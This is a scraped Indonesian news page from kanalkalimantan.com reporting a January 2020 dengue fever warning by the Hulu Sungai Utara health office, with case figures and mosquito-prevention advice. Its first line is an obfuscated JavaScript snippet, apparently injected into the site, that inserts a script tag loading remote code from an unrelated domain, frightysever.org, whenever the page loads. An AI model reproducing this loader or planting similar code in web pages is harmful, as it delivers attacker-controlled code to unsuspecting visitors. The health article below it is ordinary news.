(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI -Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) memberi peringatan kepada masyarakat agar mewaspadai Demam Berdarah Dengue (DBD) yang bisa menyerang warga seperti saat memasuki musim penghujan seperti sekarang ini. Pasalnya, di awal tahun 2020 ini sudah terdeteksi 9 kasus DBD terjadi di Kabupaten HSU, meski belum ada korban jiwa.
Kendati, menilik pada jumlah data ditahun 2018 – 2019 kemarin, Dinkes HSU mencatat kasus DBD di Kabupaten Hulu Sungai Utara mengalami penurunan dari 182 kasus menjadi 145 kasus, namun hal tersebut tidak menjadi jaminan akan penurunan angka DBD kedepan, sehingga tetap menjadi perhatian Dinkes HSU.
Kepala Dinkes HSU dr H Agus Fidliansyah menuturkan, sesuai arahan Kemenkes dan Dinkes Provinsi Kalimantan Selatan pihaknya sudah memberikan instruksi ke setiap Puskesmas untuk melakukan antisipasi DBD, baik berupa penyuluhan masyarakat melalui berbagai kegiatan seperti posyandu maupun melalui surat edaran.
“Kami kawatirkan sampah yang menampung air hujan dapat menjadi vektor perkembangan nyamuk, sehingga kami memperingatkan agar masyarakat waspada demam berdarah,” ujar Agus Fidliansyah kepada kanalkalimantan.com, Jum’at (10/1/2020).
Untuk mencegah DBD tersebut, ia mengajak masyarakat untuk menjaga lingkungan rumah, jangan sampai ada genangan air yang bisa menjadi sarang nyamuk aedes aegypti atau jenis nyamuk yang dapat membawa virus dengue penyebab DBD
Meski apabila diperlukan untuk fogging, Agus menambahkan kalau cara tersebut tidak serta merta mencegah DBD, akan tetapi lebih kepada pencegahan sejak dini menjaga kebersihan lingkungan dan gerakan 3M.
“Gerakan 3M plus yang kita harapkan dari masyarakat luas yaitu menguras air bak mandi setiap 2 Minggu sekali, mengubur dan menutup, ditambah plusnya yaitu tidur menggunakan kelambu dan menggunakan losion anti nyamuk,” tegas Agus
Selain itu, dirinya juga mengingatkan masyarakat khususnya kepada para orang tua beberapa ciri-ciri awal penderita DBD yaitu diantaranya panas mendadak selama tujuh hari, sehingga perlu sesegeranya memeriksakan anaknya apabila terjadi hal demikian ke Puskesmas atau Rumah Sakit.
Dari data Dinkes HSU, tercatat sampai 10 Januari 2020 ada 9 kasus DBD dengan nol korban jiwa, Sehingga hal tersebut membuat Agus Fidliansyah berharap agar angka tersebut tidak mengalami peningkatan apa lagi sampai memakan korban jiwa. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More
KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More
KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More
This website uses cookies.